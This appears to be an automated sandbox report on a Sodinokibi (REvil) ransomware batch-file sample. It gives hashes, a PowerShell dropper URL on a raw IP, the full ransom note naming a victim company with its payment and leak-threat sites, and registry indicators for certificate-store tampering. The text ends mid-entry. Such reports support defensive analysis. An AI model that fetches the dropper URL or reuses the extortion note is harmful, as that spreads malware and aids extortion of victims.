sodinokibi | 8e2a0ee5856819aeb0f3e6c7e4815ad8491e263e90ef0ee6de93751a2e2aa455

General

Target

3ba797dc80d83cbfa6d1a0d86e44b07f.bat
Size

219B
MD5

a492ab56e248bcde0ed2adcade97bcbb
SHA1

bab084b7f54cee67117b058033b07cd52fe76647
SHA256

8e2a0ee5856819aeb0f3e6c7e4815ad8491e263e90ef0ee6de93751a2e2aa455
SHA512

3117a250261ea69a1d2ffd0cc04a7a7226ddc03f9d12a9bcb5eeff111677343c875341145328d4f5dd5c90de920363d47bf324c3fe119b00419f35b2ee688567

Score

10^/10

ransomware persistence evasion spyware trojan sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/3ba797dc80d83cbfa6d1a0d86e44b07f

Extracted

Path

C:\5lh273zx0w-TrimegahSecurities-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome Trimegah Securities, PT TBK. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 5lh273zx0w. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7646EE8075DC4CF7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7646EE8075DC4CF7 3) If you still have problems accessing the site, you can write to us at: [email protected], indicating the external IP address, country, key EO59IJ6aombDpXt0fRUA+bm2s7UObSdjSzWOdMLvyGbAnuYMSVHTnJvxyAgNYCto cksAF2gLAiXh0321xTnfMqmFyEf4MMc/SD61+PxwYdXq/hRsJkoZN9hU6RfTprMr breILaK35//ATrxuvw950yhLugilGZH6mW3o9Ti2MyqRAghR1Ld/MqCLWkWTIiXo wF79/msXxstn0EKoi2pkSfzN9qsn9w/atTmVIwrF37shTy+SJRG1yZSAqkTnET/F bKQLMrfT6Z6tRxwYVB768J9IbPZGtdpkH4AGljhZEYRzo9XCMnM5umqg/QOeIvPl KKk11QU3Iw0Q4oDlOgmD/qswlwh+8JiHZqAowKR+/EWK3Ym+j5lAf/KW+CfjemEo olhLdGezZfprIGp1AqkBrcp+IzUsp5H83vrMiosYx7IjHVzJcg4c9O3AwC6zSHS3 eXHcSqjubuysGQa1noezGTI4P7738uWjIyq8YJyznPi/k1nAI6onaG0CsPu3TIQR h4lyos67k6lTktTD20+XrI029q6pfTWBFRqDUF3wGv8x2f3BpSWxRi7biv1c0/lY KApRZX8cUHLaxNaq11IhUPB+J8qawYxvftkKHvCC7RNLfP7aWgQOgwVcOs0GL9gV uhZ/OKEfnIluP5Bg9twOeK++lnq+/6HZlydhK401dRHrOKda7JAADIj59l0bgFHp +dheWiBSlbtnpJjjsKUHjnVpqrYeGEkZxDIqbavexmGAZ7IEIBv/o3KSc6glAah0 oMglakCRl8/WFHEU67lBveoI7vrUDw9DdkI39tv7mPty1QX1FNyFGIBKW/uFC1J3 Cu6YPn5CW7ZFWPYPKInCABC9fukbT+063mWuvsRaz5MAJ2xb3MZIKhKyepLIz2UC zOndqyd+7fC2W0ZFP5vBcE9/BbJqKm+8inqaj/+7XlLJcW2+AcP+iaCuvsI27YPQ ssp22T+eAa2bSaod9oDMFWyiyly/sJCZuCx/nyDDfOCob6LykgDaJ5ymUR5a+mVk nAjQPdh61IgPzpig8cj4l93+KAbR+sbgpsYkcGIJeOo/p2aZMvsUg1IJrE9TJ0y9 1bakezX8jor3jq29raXiJAxkTzexjSTKXx9EVpJDOvpd+zYcvzhd7n6vEnIRWqZ4 HkZYcJ0/jTDbEkU5FVkqAlJqlV0SCmTAYvsi4RdwCuRccMxKopIaMjhS9QnGwehn NnGbK695z+Ko3bEnXXiIzdcc5i5b76vuPiAn6qG1Ze8RIwTfkotMs0lWR/38Ykaf GET1eeBnvDLgyTnv6sCVfAiykgvqZ/WrNENcouLftZzjsLBhq8eTCg== and extension 5lh273zx0w Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: EO59IJ6aombDpXt0fRUA+bm2s7UObSdjSzWOdMLvyGbAnuYMSVHTnJvxyAgNYCto cksAF2gLAiXh0321xTnfMqmFyEf4MMc/SD61+PxwYdXq/hRsJkoZN9hU6RfTprMr breILaK35//ATrxuvw950yhLugilGZH6mW3o9Ti2MyqRAghR1Ld/MqCLWkWTIiXo wF79/msXxstn0EKoi2pkSfzN9qsn9w/atTmVIwrF37shTy+SJRG1yZSAqkTnET/F bKQLMrfT6Z6tRxwYVB768J9IbPZGtdpkH4AGljhZEYRzo9XCMnM5umqg/QOeIvPl KKk11QU3Iw0Q4oDlOgmD/qswlwh+8JiHZqAowKR+/EWK3Ym+j5lAf/KW+CfjemEo olhLdGezZfprIGp1AqkBrcp+IzUsp5H83vrMiosYx7IjHVzJcg4c9O3AwC6zSHS3 eXHcSqjubuysGQa1noezGTI4P7738uWjIyq8YJyznPi/k1nAI6onaG0CsPu3TIQR h4lyos67k6lTktTD20+XrI029q6pfTWBFRqDUF3wGv8x2f3BpSWxRi7biv1c0/lY KApRZX8cUHLaxNaq11IhUPB+J8qawYxvftkKHvCC7RNLfP7aWgQOgwVcOs0GL9gV uhZ/OKEfnIluP5Bg9twOeK++lnq+/6HZlydhK401dRHrOKda7JAADIj59l0bgFHp +dheWiBSlbtnpJjjsKUHjnVpqrYeGEkZxDIqbavexmGAZ7IEIBv/o3KSc6glAah0 oMglakCRl8/WFHEU67lBveoI7vrUDw9DdkI39tv7mPty1QX1FNyFGIBKW/uFC1J3 Cu6YPn5CW7ZFWPYPKInCABC9fukbT+063mWuvsRaz5MAJ2xb3MZIKhKyepLIz2UC zOndqyd+7fC2W0ZFP5vBcE9/BbJqKm+8inqaj/+7XlLJcW2+AcP+iaCuvsI27YPQ ssp22T+eAa2bSaod9oDMFWyiyly/sJCZuCx/nyDDfOCob6LykgDaJ5ymUR5a+mVk nAjQPdh61IgPzpig8cj4l93+KAbR+sbgpsYkcGIJeOo/p2aZMvsUg1IJrE9TJ0y9 1bakezX8jor3jq29raXiJAxkTzexjSTKXx9EVpJDOvpd+zYcvzhd7n6vEnIRWqZ4 HkZYcJ0/jTDbEkU5FVkqAlJqlV0SCmTAYvsi4RdwCuRccMxKopIaMjhS9QnGwehn NnGbK695z+Ko3bEnXXiIzdcc5i5b76vuPiAn6qG1Ze8RIwTfkotMs0lWR/38Ykaf GET1eeBnvDLgyTnv6sCVfAiykgvqZ/WrNENcouLftZzjsLBhq8eTCg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!! !!! !!! ATTENTION !!! !!! We want to warn you that in case of refusal to pay, we will post your confidential files that we have downloaded for general access or will sell part of them in the shadow market.

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7646EE8075DC4CF7

http://decryptor.cc/7646EE8075DC4CF7

Signatures

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\rwy30245c3.bmp"	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies system certificate store 2 TTPs 14 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\58119F0E128287EA50FDD987456F4F78DCFAD6D4	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\6631BF9EF74F9EB6C9D5A60CBA6ABED1F7BDEF7B	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\6631BF9EF74F9EB6C9D5A60CBA6ABED1F7BDEF7B\Blob = 1900000001000000100000005fe8d5c276ab7e4a038af71e53abfb1b0400000001000000100000005c48dcf74272ec56946d1ccc713580750f0000000100000014000000c1f49dacc04c76c9d07297565c4c2fda367b90dc0300000001000000140000006631bf9ef74f9eb6c9d5a60cba6abed1f7bdef7b1d0000000100000010000000f80f3f5ac1d39ec772f569fcac0d49441400000001000000140000000b58e58bc64c1537a440a930a921be47365a56ff0b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000210400003082041d30820305a00302010202104e812d8a8265e00b02ee3e350246e53d300d06092a864886f70d0101050500308181310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312730250603550403131e434f4d4f444f2043657274696669636174696f6e20417574686f72697479301e170d3036313230313030303030305a170d3239313233313233353935395a308181310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312730250603550403131e434f4d4f444f2043657274696669636174696f6e20417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100d0408b8b72e3911bf751c11b540498d3a9bfc1e68a5d3b87fbbb88ce0de32f3f0696f0a2295099aedb3ba157b0745171cded42914d41fea9c8d86a867744bb596697505eb4d42c7044cfda379542693c30c471b352f0214da1d8ba397c1c9ea3249df2831698aa167c439b155bb7ae3491fed4622618469a3febc1f9f19057ebac7a0d8bdb72306a66d5e046a370dc68d9ff04488977deb5e9fb676d41e9bc39bd32d96202f1b1a83d6e379ce22fe2d3a2268bc6b8554388e1233ea5d224396a47ab00d4a1b3a925fe0d3fa71dbad351c10ba4daac38ef55502405654693344f2d8dadc6d42119d28eca056171077347e58a1912bd044dce4e9ca548acbb26f70203010001a3818e30818b301d0603551d0e041604140b58e58bc64c1537a440a930a921be47365a56ff300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff30490603551d1f04423040303ea03ca03a8638687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f434f4d4f444f43657274696669636174696f6e417574686f726974792e63726c300d06092a864886f70d010105050003820101003e989e9bf61be9d739b778ae1d721849d387e44382eb3fc9aaf5a8b5ef557c215265f9d50de16cf43e8c9373912e02c44e07716fc08f386108a81e810ac02f202f418b91dc4845bcf1c6deba766b33c8002d31464cede79dcf8894ff33c056e8248626b8d83838df2a6bdd12ccc73f47174ca2c2069609d6dbfe3f3c4641df58e2560f3c3bc11c9335d93852aceec8ec2e304e9435b4241f4b7869daf20238cc955293f07025599c2067c4eef98b5761f492767d3f848d55b7e8e5acd5f1f51956a65afb901caf93ebe51cd467975d040ebe0b83a61783b93012a0c5331505b90dfbc70576e3d84a8dfc3417a3c62128be3045311ec778be586138ac3be20165	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B\Blob = 0300000001000000140000008d4c4a23ba9ee84ea7348fa98cc6e65fbb69de7b19000000010000001000000082218ffb91733e64136be5719f57c3a1040000000100000010000000ab9b109ce8934f11e7cd22ed550680da0f0000000100000030000000a768343c4aeaced5c72f3571938864983a67ed49031c1da2495863caf65fe507011f7f0e70b6cb40e5631c07721be034140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d41800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000820500003082057e30820466a003020102021067def43ef17bdae24ff5940606d2c084300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c050003820101007ff25635b06d954a4e74af3ae26f018b87d33297edf840d2775311d7c7162ec69de64856be80a9f8bc78d2c86317ae8ced1631fa1f18c90ec7ee48799fc7c9b9bccc8815e36861d19f1d4b6181d7560463c2086926f0f0e52fdfc00a2ba905f4025a6a89d7b4844295e3ebf776205e35d9c0cd2508134c71388e87b0338491991e91f1ac9e3fa71d60812c364154a0e246060bac1bc799368c5ea10ba49ed9424624c5c55b81aeada0a0dc9f36b88dc21d15fa88ad8110391f44f02b9fdd10540c0734b136d114fd07023dff7255ab27d62c814171298d41f450571a7e6560afcbc5287698aeb3a853768be621526bea21d0840e494e8853da922ee71d0866d7	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C\Blob = 030000000100000014000000d89e3bd43d5d909b47a18977aa9d5ce36cee184c1400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb040000000100000010000000285ec909c4ab0d2d57f5086b225799aa0f000000010000003000000013baa039635f1c5292a8c2f36aae7e1d25c025202e9092f5b0f53f5f752dfa9c71b3d1b8d9a6358fcee6ec75622fabf9190000000100000010000000ea6089055218053dd01e37e1d806eedf1800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000850500003082058130820469a00302010202103972443af922b751d7d36c10dd313595300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3139303331323030303030305a170d3238313233313233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c05000382010100188751dc74213d9c8ae027b733d02eccecf0e6cb5e11de226f9b758e9e72fee4d6feaa1f9c962def034a7eaef48d6f723c433bc03febb8df5caaa9c6aef2fcd8eea37b43f686367c14e0cdf4f73ffedeb8b48af09196fefd43647efdccd201a17d7df81919c9422b13bf588bbaa4a266047688914e0c8914cea24dc932b3bae8141abc71f15bf0410b98000a220310e50cb1f9cd923719ed3bf1e43ab6f945132675afbbaaef3f7b773bd2c402913d1900d3175c39db3f7b180d45cd9385962f5ddf59164f3f51bdd545183fed4a8ee80661742316b50d50732744477f105d892a6b853114c4e8a96a4c80bc6a78cfb87f8e7672990c9dfed7910816a1a35f95	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\58119F0E128287EA50FDD987456F4F78DCFAD6D4\Blob = 